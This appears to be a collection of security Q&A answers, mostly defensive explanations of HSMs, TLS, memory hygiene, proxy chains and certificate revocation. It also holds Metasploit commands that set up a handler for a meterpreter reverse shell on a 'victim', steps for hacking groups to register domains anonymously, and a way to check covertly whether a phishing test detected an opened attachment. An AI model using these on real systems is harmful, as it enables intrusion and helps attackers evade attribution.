This can be accomplished in many ways. The most simple access control to a HSM is a physical button. So if a malware compromises the host computer, somebody still needs to be physically present to push the button for the HSM to do anything.

Then you have a whole range of different access protection, ranging from verifying the software in the host server "externally", to requiring a PIN (that the server will itself erase if it founds itself to be compromised).

A HSM can also limit operations on a key. For example, only allow a key to be used for signing and not decryption for example. Or require specific formats on the input data that is being signed or decrypted.

Another thing a HSM can enforce is rate-limiting, both for authentication attempts but also for operations. A server that usually decrypt lets say 1 message per 15 minutes can set to be rate limited to maximum 1 message per 10 minutes, which would reduce the usefullness of the HSM access from a compromised server.

However, the main objective for a HSM is not to limit access to the HSM itself. The main objective for a HSM is to ensure that the key itself, never leaves the HSM.
Here it ranges all the way from simple HSM that will only allow access through a simple interface, but it will not have any features that prevent physical compromise/attack, and the other end of the scale is very advanced HSMs that can resist a attack even if a adversiary has unmonitored physical access to the HSM for a very long time.

To make a analogy:

Imagine itself:
If somebody was being able to use your car key once, does it matter? Is your car compromised? No, because your car key was not copied. The adversiary gained a one-time access to your car. As soon as you have reclaimed control of the car key, the car key is fully secure and safe to use.

But if somebody COPY the car key, its effectively compromised and needs to be replaced.

Imagine the same thing with encryption keys. Some encryption keys can be hard or cumbersome to replace, and the process of replacing it can itself be vulnerable to permanent irrevocable compromise if the replace process involves the compromised key. (example: A attacker uses the compromised key to initiate the replace process to his own key. If the key managing system is distributed and not managed, the company or individual has permanently lost access to that record).

Here a HSM can also contain functionality to prevent the corresponding data for initiating the replace process (revocation certificate etc.) from being signed unless a specific PIN is entered, one which the server don't know.


where is data that was not completely received and can it be recovered?

There is no single way these data will be handeled, i.e. it depends on the application receiving the data:

If you have for example a web application with some way to upload data these data will probably be accumulated first into some temporary file on disk in some default or configuration dependent folder. Of course "on disk"  might also be a RAM disk in which case the data are only in memory. But, if the connection closes (i.e. upload aborted) the data will usually deleted in which case they might still remain as bytes in some free space on the disk. And, some web applications might also accumulate the data just in memory, i.e. nothing gets written on disk.
If you have an FTP server instead and upload a file it gets usually transferred directly on the place where the client wants it to be, i.e. no temporary file and no cleanup. But of course, details vary by FTP server implementation.
With rsync you get again usually temporary files which usually get cleaned up on connection close.
... and different behavior for different applications

What is common for all storage done at the application level is that not the packets but the data will be stored, since a TCP based application has no idea of packet boundaries. This can be different with UDP based applications since with UDP a packet boundary is a message boundary (ignoring fragmented packets). But, UDP is usually not used for file transfer.


How do hacking groups register domains remaining anonymous?

Here is one method of purchasing a domain name pretty close to anonymously.

Use Tor. Understand its weaknesses
Buy a prepaid credit card in cash, specifically one not requiring activation or signature.
Randomly generate a full alias to use during online registration.
Register an account at a domain registrar.
Use the prepaid credit card to buy a domain.
Repeat for other needed services.

Note that 2. requires non-anonymous interaction and is therefore the riskiest. Let's try another path.

Use Tor. Understand its weaknesses
Randomly generate a full alias to use during online registration.
Earn some Bitcoins anonymously online, thus seeding without human contact.
Chose a domain registrar and DNS host that supports Bitcoins
Repeat for other needed services.


My company sent a phishing email - can they see if I saved the attachment?

It depends on your e-mail client, its configuration, and the protocol it uses to communicate with the server. For example, in the case of IMAP, in Outlook 2007 attachments weren't downloaded by default, but from Outlook 2010 and onwards, they are.

Although I seriously doubt your company's e-mail server keeps track of downloaded attachments in the first place, if you don't know whether attachments are automatically downloaded together with the e-mail, you could try disconnecting your computer from the network and then opening an attachment you haven't opened before. If it opens without trouble, then you know that attachments are fetched together with the e-mail and that your company won't know you downloaded the HTML file (unless they decide to inspect your computer).


How secure is Samy Kamkar's Anti-MITMA Diffie-Hellman Key Exchange Technique?

From a quick look, this is reasonably secure against a network attacker. However, it requires the server to store the password as plaintext, which is discouraged. Secure password storage has been discussed at length on this site.

A somewhat similar protocol is SRP which achieves the same goals as Samy Kamkar without storing a plaintext password on the server. As a side benefit, it is actually slightly faster as one fewer round-trip is required to login.

As a more general point, the SRP protocol has been subject to detailed analysis and is thought to be secure. Samy's protocol has not (as far as I can tell) be subjected to the same rigour so there may be subtle issues. You should use SRP so you don't roll your own crypto.

Update - Another consideration is that Samy's protocol reveals a password hash to an active MITM attacker, which they could then brute force. This is quite a bad weakness, which SRP is not vulnerable to.


Safely creating script tag and attaching to DOM

Is it safe to allow passing the [script URL] as a URL query param?

No, this is very dangerous. See question #3.

If this code is an issue, what are the specific attacks that could happen here?

Since an attacker could pass any script into the URL, and have it run in your sites origin, you are basically opening yourself up to XSS attacks. That is very bad.

What are the ways to secure the code above and allow the dynamic script attachments?

You need to somehow make sure that only scripts that you trust can be used. I can see two possible ways to do that:

Whitelisting. Instead of having the script URL as a query param, either have the value A or B for your A/B-testing. Then you keep a dictionary in your code of what URL A and B refers to. This way, only scripts you have allowed in the dictionary can be used.
Enforce that the script only comes from domains you trust. You will need to be careful about file upload functionality and open redirects with this solution though.

If not to impractical, I would go with the whitelist.
It might be tempting to use CSP for this, but I would strongly advice as using that as your only line of defense here. Browser support is not perfect, and it is easy to loose the header with a small server configuration mishap.


In the ClientHello message, the client announces its maximum supported version. Previous versions are assumed to be supported as well (in the SSL 3.0 to TLS 1.2 lineage at least; SSL 2.0 used a very different format).

Cipher suites are "backward compatible": for instance, SSL_RSA_WITH_RC4_128_SHA has value 0x0005 in SSL 3.0, and the corresponding cipher suite in TLS 1.0 (TLS_RSA_WITH_RC4_128_SHA) also has symbolic value 0x0005. Therefore, when a client says "I support up to TLS 1.1 and I know TLS_RSA_WITH_RC4_128_SHA", it also implicitly says "I can do SSL 3.0 with SSL_RSA_WITH_RC4_128_SHA". There is no method in SSL/TLS for the client to advertise version-dependent support of some cipher suites. If the client wants to enforce some specific choices, then it may do several connections, each advertising only one cipher suite, until it gets what it wants.

If you want to know if your browser would accept to use SSL 3.0, then you must try to connect to a server that knows only SSL 3.0. You can run one with the OpenSSL command-line tool. In general, one would expect that SSL 3.0 will be supported.


Is it more secure to overwrite the value char[] in a String

By fiddling with the internal contents of String instances, you incur the risk of severely breaking your application.

The first reason is that String instances are supposed to be immutable, which means that instances may be reused; when you modify "your" string you may actually modify other strings that are conceptually distinct but happen to have the same contents. This kind of reuse can also happen internally, if String instances really refer an underlying char[] with a couple of index to delimit a chunk within that array. See this page for some more details. Generally speaking, code that uses String instances relies on their immutability, and breaking that invariant can lead to far-reaching disagreeable consequences.

A second reason is that the internal contents of String instances are not documented and may change. In fact, they already did so several times. If we consider only the Sun/Oracle JVM (already a bold move, since there are other JVM out there, e.g the one from IBM), then Java 6 versions (from update 21 onwards) can use compressed strings, meaning that the char[] is automatically converted to a byte[] if the characters happen to all be in the 0..255 range (i.e. all characters are really part of Latin-1). The "compressed strings" were designed to get top marks in some benchmarks, but were later on dropped (Java 7 does not have them). However, this is sufficient to show that the internal storage format may change without prior notice. And they did it again in Java 7 update 6.

Thus, using an alternate JVM, or simply updating your JVM to a later version (as is highly recommended when there are security holes to fix), can totally break your code, possibly silently, meaning that you get data corruption instead of a clean exception that merely kills your application. This is undesirable, so don't do it. You cannot reliably muck with how String instances are internally organized. As a side note, accessing private fields is also not a really viable option for Java applets (you cannot do it with an unsigned applet, for instance).

A third reason, and perhaps the most compelling of the three, is that overwriting sensitive values in memory does not (reliably) work in Java. To know why, you have to understand how garbage collection algorithms work (this article is a very nice introduction to the basics). From the programmer's point of view, things are simple: an object is allocated, sits there in RAM, and when the application code ceases to reference it, the GC reclaims the memory. Internally, though, things may differ. In particular, most efficient GC algorithms tend to move objects in memory, i.e. really copy them from place to place. This is invisible to your code, because the GC adjusts references: since Java is strongly typed, you cannot notice that the internal representation of a pointer changed (you cannot cast a reference to an integer, for instance). This kind of copying allows for faster GC operation and better locality (with regards to caches). However, it implies that several copies of your precious data may survive elsewhere in RAM, completely out of your reach. Even if you could reliably overwrite your String contents, this would only impact the current storage area for that instance, leaving ghost copies of it untouched.

(In the Sun/Oracle JVM, GC that internally copy objects appeared around Java 1.3. This can be seen in their design for library code; old code used char[] for passwords, so as to prevent automatic reuse as may happen with String, and promote manual overwriting; newer code uses String because the library designers understood that this overwriting would not be reliable anyway.)

Does this mean that Java is inherently insecure ? No, because the importance of overwriting sensitive data in memory is greatly exaggerated. The idea that Thou Shallt Overwrite Passwords And Keys is one of these inherited dogmas: something that was relevant in a specific case long ago, but is now applied and enforced by lots of people who receive it as Divine Wisdom and fail to understand what it is really about. Overwriting memory is a nice thing to do for application code that runs on compromised systems, when attackers are not very competent: the scenario is an average home owner with a PC full of malware. The malware has full control of the machine, but, being a simple automated piece of code, it does not really exploit that control; the malware simply scans the RAM for sequences of characters that look like, say, credit card information. So we are talking of doomed client systems that manage to survive only because the attackers prefer it that way, and the data scavenging may be (potentially) mitigated with prompt overwriting of sensitive data only because the human attackers that control the malware simply don't have time to do a proper job of extracting the interesting bits, and instead have to rely on the dumbest of brutal full-memory scans.

None of this applies to a server application, or to client code that handles secrets with an actual non-negligible value. If a malicious attacker is in position to scan the RAM for sensitive data, and that data is worth 1 or 2 minutes of explicit attention from the human attacker, then no amount of overwriting will save you. Thus, in many contexts where security matters, overwriting of passwords and keys is just wasted effort, that gives a feeling of security, but does not actually improves things (though it may be convenient to awe auditors).

Compounding the issue is the fact that when your sensitive data appears in your Java code, it has already gone through various layers that are out of your reach. For instance, if you read the password from a file, then copies of it are retained in RAM used as cache by the kernel, and possibly one or two bounce buffers maintained by Java as intermediaries between the native world and the abstraction that Java offers. If the password was received from network over SSL, then the password again went through the internal buffering of the SSL library, that you cannot control. If we are talking about a client application and the password was merely typed by the user, then any malware that can scan memory also runs a keylogger and got the password even before it reached your code.

Therefore, as a summary: no, using reflection to overwrite your password in memory does NOT really improve security. It makes your code much more liable to break (even upon a simple minor update of the JVM), but offers no actual tangible gain in security. So don't do it.

Note: we talked about Java here, but all of the above equally applies to most other programming languages and frameworks, including .NET (C#), PHP, Ruby, Node.js, Python, Go... If you really want to keep track of sensitive data, then you have to use a language that is close enough to the bare metal (assembly, C, Forth) and follow it throughout the system, including base libraries, the kernel, and the device drivers. If you simply concentrate on the application code, then you are guaranteed to miss the point.


Historical events in terms of risk assessment

I'm not sure I fully understand your question or what you mean by categories.

Normally, you start your risk assessment with a basic analysis to identify the risks. You then need to determine the likelihood and consequences for those risks. Any available information can help, both historical and otherwise. The objective is to understand the risk so that you can estimate what both the likelihood and consequence may be.

Historical data which is often relevant includes previous events within the environment, events which have occurred in similar environments for others working in the same or similar field, historical data from insurers, any historical data relating to the identified risk etc.

Historical data is often seen as important for assessing liklihood, but it can also be important for assessing consequences. For example, historical data from insurers regarding factory fires may tell you that in 80% of cases, factory fires result in 60% of the building and plant infrastructure being destroyed - this can help assess the likely consequence should a fire occur in your factory, which in turn helps identify the potential loss, which in turn helps identify what level of controls are appropriate and associated investment etc.

Similarly, historical data on the number of small businesses which survive a major data breach can tell you what the consequences are likely to be or historical data on the frequency of such breaches in business with fewer than X employees could hlep assess the likelihood.

If the historical data can help assess likelihood or consequence, then it is of value. If it can't then perhaps it isn't. However, more often than not, the limitation is not with the data, but with the ability of the person doing the assessment to see how the data can be of value.


Is there a list of phone numbers Facebook uses to send auth tokens?

The sms vulnerability reported to Facebook was something else as far as I saw, it uses the Facebook's response to unregistered numbers to receive an unused confirmation code to reset password of other users...

If you are using an Android device, I strongly suggest you should check your mobile for any malicious applications. While I was doing some research on Mobile security, I came across some applications that could steal information from device. This happens when you install application from third-party sites other than Google Play. Some of them are really strong that, they are capable of even updating themselves while an upgrade of OS is made (eg: JB-KitKat)

I am not sure about the possibility of MITM, because, who in the hell want to intercept a response code and add weirdness to the message? And even if someone is intercepting you, they wont just send those messages to you because from my belief, once a token is used it expires, so if they use it, you wont be able to use it.

My opinion is that, every now or then FB makes roll outs , try new features, They might had tried some kind of localization on the sms/login-token features.

If only one of your phone numbers have only this problem, you may also have to consider the possibility of a fault from service provider.


I'm not entirely sure what you mean by this

  When I receive the request I want to verify the third party domain from which it originated - to ensure someone is not submitting requests pretending to be another domain.

For example, here's the HTTP request that my browser made to load this page:

GET /questions/196706/verify-the-requesting-domain HTTP/1.1
Host: security.stackexchange.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101
Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ... snip ....
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Nothing in there indicates which domain my web browser is coming from. I'm not even sure I know what that means.

Maybe you mean that your API will be accessed from pages served from other domains and you want to mine the Referrer: header?

Referer: https://my.domain.com/somepage

Either way, the client-server architecture of HTTP means that there is no security here; the client can literally put whatever it wants in the request and the server has no way to verify if it's "correct". Whether it's using HTTP or HTTPS makes no difference here.

Consider the following cURL command which shows that I can craft an HTTP request with any header text I want, and then send it to any server I want:

curl -X GET -H "Accept: text/html" -H "Referer: https://my.domain.com/somepage" https://someHostName/someEndpoint

Solution: Mutual-auth (aka "client auth") TLS

It sounds like the solution you're looking for is mutually-authenticated TLS, which is designed precisely to force the client to prove its identity before the server will open a connection.

This would involve issuing certificates to your clients (just like you do with your server), and then configuring your server to only accept incoming connections from trusted certificates.


eBay account compromised/Credit Card used/Hosts files changed

Well not all exploits are in the overt yet. Obviously these guys know one. They also seem to be quite bold to just contact their victim.

I have heard of this before with  a 2 way authentication mechanism for a bank, where the misfeasors called their victim too.

What I can think off immediately:

Your ISO was not an official one and it already contained backdoors
He got infected with an unknown virus
Essentials just failed to detect it


Somone accessed my desktop right in front of my eyes

Yes, your machine has been compromised by an attacker.  You may have fallen for a fake "Computer Support" scam, or opened a phishing email attachment, or clicked on a bad link, or even simply been the victim of a "drive-by" malicious web site advertisement.  I know TeamViewer is a common tool used by the fake support scam people; it is also used by other attackers.

You absolutely did the right thing by unplugging the network cable.  Well done!

Unfortunately, since there is no way of knowing what they stole from your computer, you need to assume they already got away with some profitable stuff.  Your next step should be to use a different (non-infected) computer to immediately change your banking and financial website passwords first, then your credit card / payment website passwords, your ISP and mobile provider passwords, and the passwords to each of your online shopping sites.  Change the passwords to your social sites last, they're probably not as important as your money.

Consider contacting your local police because you have been the victim of a crime.  Having a case number may be important if you need to file an insurance claim or report the identity theft to your bank or other businesses.  But don't expect much help from the police, as they probably won't have the resources to investigate it; and unless you know money was fraudulently stolen from you, they won't prioritize it.

Once the important risks are taken care of, you can start to copy off any valuable data files you have from the infected machine - personal photos, documents, etc.  Save them to a thumb drive.

Finally, you should wipe and reformat your computer's disk and rebuild it.  You might be able to enlist a computer-savvy friend's help for this.  Or consider bringing it to a computer repair place who specializes in recovering from attacks.  They also might be able to help you preserve any licensed content you have stored on it.  But be warned their help could quickly add up to higher than the cost of a new computer.  Be sure to get a quote or arrange spending limits with them in advance.


How dangerous is Javascript in an Android browser and how to protect?

Well this is the latest one related to javascript, an estimated
 36.5 million Android devices may have been infected.
https://www.theregister.co.uk/2017/05/30/android_app_judy_malware/

Read this as well by Siegfried Rasthofer

https://blogs.uni-paderborn.de/sse/2013/09/16/java-script-attack-vector/

You can also see my this answer although it is about java virtual machine(dalvik) not javascript, but attackers can chain browser javascript based exploits with Dalvik or Linux Kernel exploits to gain elevated privilages, remote code execution, etc.

What kind of attack vectors are made possible as a result of Java being hopelessly intertwined with Android?

You can also google "Android Javascript CVEs" to see more examples.


No. It is not possible. The public/private key cryptography is (for a reason) called asymmetric, therefore it works only one way round:

the user has a private key to prove its identity
the server has a public key to verify the users identity

You can't switch that over. Though, the clients should also have the public key of the server, but it is not used for authentication and is part of different story.


How can I harden a system against malicious actions from within?

There is potentially books-worth of information out there about this; it's not a small topic. I'll give you a brain-dump of ideas to get started with.

Make sure you've got Windows Update actually working and applying updates.

Ensure that your firewall is switched on and configured properly. You don't want to be exposing SMB and RDP over the internet; consider having RDP port accessible only from fixed addresses.

Remove all software you're not actually using. This includes proprietary drivers that you can safely swap out for generic Microsoft ones; often these are full of security holes.

If you're running a fairly homogeneous application ecosystem, I recommend looking into Software Restriction Policy (SRP) and sandboxing solutions.

You can also install EMET to gain some general protection against exploits. Make sure that you actually configure it.

Ensure that your local security policy is configured to harden against cross-user attacks (particularly hardening the default DACLs of system objects).

Ensure that directories have appropriate access controls. Essentially you want to remove all cases of directory permissions allowing the Everyone or Authenticated Users groups to have write access.

Configure auditing on process creation, so you have better tracking of what users are up to and when. Apply file auditing (create, write) to shared directories and critical system paths like C:\Windows. Audit logon attempts and successes, particularly over RDP.

Crank the UAC enforcement level up to maximum. There are a lot of bypasses on UAC, and you don't want to get tricked into running something a user uploaded and ending up getting pwned unexpectedly. Most of the bypasses require the UAC enforcement level to be default.

Make sure your system %PATH% environment variable isn't including any path that is writable by users.

Ensure that the users don't have RDP access. There are multiple ways to harden this.

Follow a guide for locking down workstations. In the unlikely event that someone does get onto the server (e.g. RDP in) you want their user accounts to be as nerfed as possible, with no access to command prompt, registry editor, task manager, services list, etc. - this can also be solved to an extent with SRP.

Shift your FTP logs and system event logs (incl. audit logs) off-system, in realtime if possible. You want to have backups if someone somehow gets local admin and clears all the logs out.

Consider a host-based intrusion detection system (HIDS) such as OSSEC.

Look through Windows privilege escalation tutorials, and implement defense measures to help protect yourself against the tricks they use.


Is compiling source code from github a big security risk?

I'm going to assume you mean that you are compiling (but not running) untrusted code which could be malicious and are concerned about your build toolchain being exploited.

The answer is that, no, I don't think this is a good idea. Compilers are, in general, not safe to use with untrusted input.

Firstly, there's the source code itself. You don't mention what language you're importing from github, but if if it C/C++ (for example), then you may be subject to an attack from the preprocessor. While I don't know for sure that this is possible, I see no reason why it should not be. Having said this, however, there are online "compiler as a service" sites which will compile arbitrary code - so perhaps it is (or can be made) safe.

There are bigger worries than the compiler, though, since arbitrary filetypes can come down via github. For example, there's nothing stopping the a malicious Makefile from doing nasty things, which is very definitely possible, or a Visual Studio project specifying malicious "pre-build" script.

On the topic of Visual Studio (I guess you're using a make/gcc toolchain, but I'll mention VS for completeness - and because I know the answer) you should know that MS states that even loading malicious debugging symbols is a security risk, and that the visual studio linker is not considered secure against malicious code. A quick google finds this advisory which does not mention any patch is available.

Having said all of this, I haven't heard of this happening before, so it depends on your risk tolerance I guess. I wouldn't do it. If this is an automated build, it might be possible to build in a throwaway user account (taking additional steps if your source is intended to be kept secret).


Is it OK that a sysadmin knows the password for a newcomer / act as a user (immediately after his/her recruiting)?

If I should never tell an admin my password (as it has been answered
  to the cited question) there is no reason that an admin knows my
  password even at the very beginning of my work in that company

One of the main reasons to this rule is that Admins should not access your confidential data such as mails, etc... Since there is no data associated with the account at the very beginning this is not an issue.

  they generate a password for the user (NOT a change-at-first-login one)

Using a single sign-on password will ask for a normal password before one can change the configuration. So a password is needed before accessing the config.

  I suspect anyway that most legacy systems  allow admins to reset
  passwords with great freedom. Is it an accepted practice?

This is an accepted practice. Not old systems but newer systems like Office 365 also allows the admins to reset the users password without notifying the user. However any such resets gets logged in the system and the admin will be held responsible for any issues.

Also note that not all configurations can be changed at Admin level. Some things can only be performed by the user. Instead of telling each and every user to perform a set of steps, they are doing it ahead of time.

Some other concerns of sharing a password do not apply here such as

Reusing the password is irrelevant as the password is not yours.
None of your personal information is associated with the password.

To answer some comments,

  I suspect that "there is no data associated with the account at the
  very beginning" it's not absolutely true: I could have some emails in
  my mailbox (someone could have sent my some confidential info to my
  email address, because the mailbox has been activated before I first
  log in)

  by Diego Pascotto

Mail Id should not be shared to anyone by the Admins before configuration. The mailbox must have been activated when setting up outlook. Email Ids are shared only after single sign-in password is set. Also as pointed out by James Snell, receiving an email within minutes of account creation is unlikely.

  A competent company has images, procedures, via automation that take
  care of these things without ever logging in as the new user at any
  time.

  by Sokel

Small companies do not always invest in automating. If a company hires around 10 staff per year and each with a different role the effort required to bring automation and maintain it will be greater than the manual effort. Automation is only worth the effort when you are having job that is done repeatedly in large numbers. In other words, the effort required for automation should be less than what your effort required for manual work

  If the admin has had unmonitored access to your account at any point
  in time; they could've set up anything under your name - preventing
  any returns to them.

  by UKMonkey

Any actions taken by the admins during this time can be linked back to them as it is clear that the account is not handed over to the user until the user resets the password using the single sign-on password.


User authentication + database encryption with same password

As far as I can tell, your scheme is this:

Compute scrypt(pass) and store it as the authentication key in your database.
Compute sha256(scrypt(pass)) and use that as your data encryption key.

The problem with this technique is that an attacker with access to your database can simply compute the SHA256 hash of your scrypt hashes to gain the encryption keys.

A better solution would be to use a second scrypt hash as your data encryption key, with a surrogate key to facilitate easy password changes:

Generate two salts (s1 and s2) and store them in plaintext.
Generate a cryptographically secure random key k - this is our surrogate key.
Compute scrypt(pass, s1) and store it as the authentication key in your database.
Compute scrypt(pass, s2) and xor k with it. Store this value in your database.
Use 'k' as your data encryption key.

When decrypting, you compute scrypt(pass, s2) and xor it with the stored key value to get the original value of k back.

This protects you against cases where the database is breached, and allows you to change passwords by computing the original value of k, then xoring that with scrypt hash of the new password and salt. Keep in mind that if a user forgets their password they will not be able to recover the data.


It depends.

A DoS attack, stereotypically, is an excessive flood of network packets that causes a system to become unavailable or unusable to legitimate users. They are, in essence, exhaustion attacks. Not every DoS aims to exhaust the same resource - a system has many resource types and a DoS condition may be caused by exhausting one or more.

The most prolific type of DoS, at least in terms of media representation, is a massive flood of network traffic designed to starve the target system's connection to the internet. These can be achieved in a number of ways, but in general it's just about blocking the incoming pipe with too much data. If this flood stops for a few seconds, the server may recover, depending on the configuration of the network.

There are a few cases where it might not:

A system in the network path (either the target itself, a load balancer, firewall, router, etc.) runs out of space in its state table and fails.
A system in the network path exhausts its RAM, CPU, disk, or overheats, causing an outage.
A system in the network path caches the incoming traffic into a queue, causing the DoS to continue internally after the external attack stops.

Of course, this assumes that the attack is purely aimed at "clogging the pipes". Many other DoS conditions are possible:

CPU / memory exhaustion due to expensive requests.
Disk exhaustion (either space or IO) through excessive logs or database writes.
On limited hosting, exhausting the periodical bandwidth limit.
Triggering a crash in the server software stack (e.g. null pointer dereference)

These may take time or manual intervention to recover.


How to connect to a meterpreter session opened manually on the target machine

I received some help on this offline, and I will post my solution here. I was pointed to this article: https://www.sciencedirect.com/topics/computer-science/meterpreter-shell

Essentially, you need to use the module multi/handler to open a session with the remote meterpreter session. Furthermore, I misunderstood the LPORT option: it is the port on the attacking machine that the remote meterpreter will report back to. You also need to set the LHOST option to the attacking computer's IP address.

After uploading the exe to the victim and starting the process, run multi/handler from the attacker:

msf5> use multi/handler
msf5 exploit(multi/handler)> set exploit windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler)> set LHOST <HOST_IP>
msf5 exploit(multi/handler)> set LPORT <HOST_PORT>
msf5 exploit(multi/handler)> set ExitOnSession False
msf5 exploit(multi/handler)> exploit -j

*note, it is important that HOST_IP and HOST_PORT match what you had set in the payload when using msfvenom.

This should open a meterpreter session which can be accessed using sessions -i N (where N is the session number).


If: you know the public key, algorithm, plain text and cipher text;

And: you can recompute the private key by using just the aggregate power of all computers on Earth;

Then: the algorithm is pure junk or the key is awfully undersized; either way, stop using it and switch to proper cryptography.

Corollary: what you ask for does not exist for the cryptographic algorithms which are used in practice, e.g. RSA.


You can add an external lib to the product, made in C/C++. Python can import those just fine. Add a couple vital functions on that library, and change the library a little for each client.

An interesting way of doing this is to use internationalization to encrypt most of the strings, and use the external library to decrypt them. Use a custom key to each client, and encrypt the strings file before shipping.


No, a loop in the proxy chain doesn't increase your anonymity. Rather, it introduces new risks.

First of all, chaining proxies isn't as safe as you'd think. A standard HTTP/SOCKS proxy just forwards the traffic without adding encryption. If that's what you're using, be aware that every proxy in the chain knows

the address of its preceding proxy,
the addresses of all subsequent proxies and
is able to read and modify your traffic (unless you're using end-to-end encryption with the destination server, e.g. by using HTTPS).

This means that even with SSL, all proxies in the chain know which website you're visiting. In contrast, Tor uses an onion routing approach where every node adds a layer of encryption and every hop just knows their immediate preceding and succeeding node. With Tor, only the first hop knows your IP and only the last hop (exit node) can read your original traffic and knows the destination.

Related: Aren't 10 proxies (proxychains) better than Tor with only 3 hops?

Back to your example - consider these cases:

Case 1

you -> p1 -> p2 -> p3 -> https://example.com

Case 2

you -> p1 -> p2 -> p3 -> p1 -> p2 -> p3 -> https://example.com

Imagine that p3 is a rogue node / has to turn over their logs to law enforcement. In case 1, they could only identify p2 as the originator of the traffic and example.com as the target. In case 2 however, they'd learn about the involvement of p1, too. From inspecting the traffic, p3 can conclude that it's processing the same traffic twice and would be able to enumerate all involved proxies.

Even if the proxy chain was using Tor-style onion routing, where the traffic wouldn't look the same at the second pass, p3 could still conduct a correlation attack:

you -> p1 -> p2 -> p3 -> pX -> pY -> p3 -> https://example.com
                   ^-- correlation --^

That is, an adversary controlling both ends of a communication channel has good chances of correlating incoming and outgoing traffic by analyzing the timing and volume of the traffic. If you introduce a duplicate node in a chain of proxies, that clearly facilitates a traffic correlation attack and thereby defeats the anonymizing effect of the nodes in between.

(Yay! It's my 100th answer!)


Why after dd'ing ISO file to entire USB flash device, only the first partition match the ISO checksum?

It's not clear to me what you are trying to accomplish.

You appear to be writing a file to a raw device. Unless the file is a disk image appropriate for that kind of device, this makes no sense to me.

The Fedora-Live ISO is a SquashFS file system, not a binary or raw image suitable for dumping to a raw device.

Since this is a Fedora-Live ISO, I'm guessing that you want to create a bootable USB vice the bootable DvD you'd get from simply burning the ISO to a DVD. There are standard tools for doing that such as: Unetbootin

          ****** edit *****

OK, I pulled down the ISO file and did an fdisk of the ISO.

  fdisk Fedora-Workstation-Live-x86_64-31-1.9.iso

  Command (m for help): p

  Disk  Fedora-Workstation-Live-x86_64-31-1.9.iso: 1.8 GiB, 1929379840
  bytes, 3768320 sectors Units: sectors of 1 * 512 = 512 bytes  Sector
  size  (logical/physical): 512 bytes / 512 bytes  I/O size
  (minimum/optimal): 512 bytes / 512 bytes  Disklabel type: dos  Disk
  identifier: 0x6f869649

  Device                                     Boot Start     End Sectors
  Size Id Type

  Fedora-Workstation-Live-x86_64-31-1.9.iso1 *        0 3768319 3768320
  1.8G  0 Empty

  Fedora-Workstation-Live-x86_64-31-1.9.iso2        172   21887   21716
  10.6M ef EFI (FAT-12/16/32)

  Fedora-Workstation-Live-x86_64-31-1.9.iso3      888   67407   45520
  22.2M  0 Empty

The ISO defines 3 partitions of which 1 & 3 are Type 0 Empty.


Is there a name for this (unconventional?) use of RSA for authentication?

The use of the private key cannot reasonably be called “encrypting” since the security objective is to ensure authentication, not confidentiality. There can't be any encryption going on since all the information to reverse it is public. What you describe is a signature scheme, specifically a signature scheme with recovery since the same encoded message contains both the information needed to verify the authenticity and the information needed to reconstruct the message. The main difference with modern signature schemes (PKCS#1 v1.5, PSS) is that this scheme is broken in several ways.

Modern RSA signature schemes prevent the formation of forged signatures by including a fixed “padding string” at some part of the decoding. Both PKCS#1 methods mandate at least 8 bytes of padding. The scheme you describe doesn't have anything like this (except the leading byte, but as you note it has negligible impact) and so has to rely on plaintext validity.

The leading 0x15 at least prevents the ability to forge valid messages with lots of leading null bytes. The public exponentiation operation is easily reversible if it doesn't wrap around: if M is less than the eth root of n then taking the eth root of M (as an integer) would result in a valid signature. Mandating a high bit set causes all such M to be invalid. The leading 0x15 also makes it difficult to generate valid signatures by multiplying valid signed messages together (but only if you don't hit that ~2% chance of randomly getting the leading 0x15 in the result).

Splitting the message enables the trivial attack of reordering the blocks of a signed message. Modern signature schemes use a hash to condense the message to a length that the asymmetric operation supports, ensuring that a given signature is only valid for the one message that has the signed hash.


Is it a good idea to generate certificate-specific CRLs? What is this technique called?

Segmenting the space of certificates so that "partial" CRL can be computed is possible and supported, but it must be done properly. One base principle of CRL is that a CRL should be amenable to processing regardless of how it was obtained: that's the whole point of having signed objects. Since a certificate is considered as non-revoked by virtue of not appearing in the CRL, it must be possible to unambiguously verify whether a given CRL applies to a given certificate or not -- in X.509 terminology, whether the certificate is in scope of the CRL.

The extension to use is CRL Distribution Points -- see section 4.2.1.13 of RFC 5280. This extension has two distinct roles: it documents URL where CRL may be obtained, and it implements certificate space segmentation. For segmentation (that which you are interested in), the extension must be marked critical, and there must be a match between a "distribution point" and the corresponding structure in the Issuing Distribution Point extension of the CRL. In effect, each distribution point characterizes a sub-space of the certificate space; each certificate is marked with the sub-space to which it belongs, and each CRL is marked with the sub-space to which it applies. As with all things X.509, details are intricate and some thorough testing is needed in order to assess the reality of support by existing applications.

Such segmentation is useful for keeping CRL size low. It could be used to make single-certificate CRL, although this would have to be balanced with the cost of signing all these CRL (signatures are not expensive, but one million signatures can become a burden -- not really the signatures per se, but all the encoding and file transfer has some overhead).

You cannot expect much privacy gains that way: certificates are inherently public elements, which travel unprotected in many protocols. They cannot be considered secret. There is little more that can be obtained from CRL; actually, a full CRL is already discreet since it talks only about revoked certificates: it says nothing about unrevoked certificates and does not even hint at their existence.

Ultimately, single-certificate CRL already exist but are called OCSP responses.


Non-cryptographic hash for message authentication?

I suppose not, because the hash serves as a bias to your plaintext. Murmur3, DJB2 etc have very small fixed domains and take collisions into account, which you cannot allow on a counter mode block cipher.

Assume an adversary is aware of the symmetric encryption parameters and block mode operation used, it would only take the size of the nonce + hash domain to decrypt the ciphertext. This can be done in polynomial time. This also answers your second question regarding the counter size.

I would argue using a hash function the way you describe can weaken the ciphertext even further since you derive a relative small hash from the plaintext. I would suggest encrypt-then-MAC either way.

Update

If you have the computational power to establish a TLS session anyway, why not go with a GCM/GHASH variant? You might even want to chain the packets together and add the packet counter as AEAD in GCM.


Can NATs and firewalls blacklist IPs when trying to UDP hole punch?

Its totally depends on the security level of the NAT. 64 packets per 0.1 seconds means 640 packets are hitting on Symmetric NAT (640 ports? as you are sending to random ports). Now say like connection established after 5 seconds that means you are hitting from PRC to SYMM around 3250 packets on Symmetric NAT (3250 ports?). Seems like most of the NAT will take it as DoS attack/ packet flooding (!)

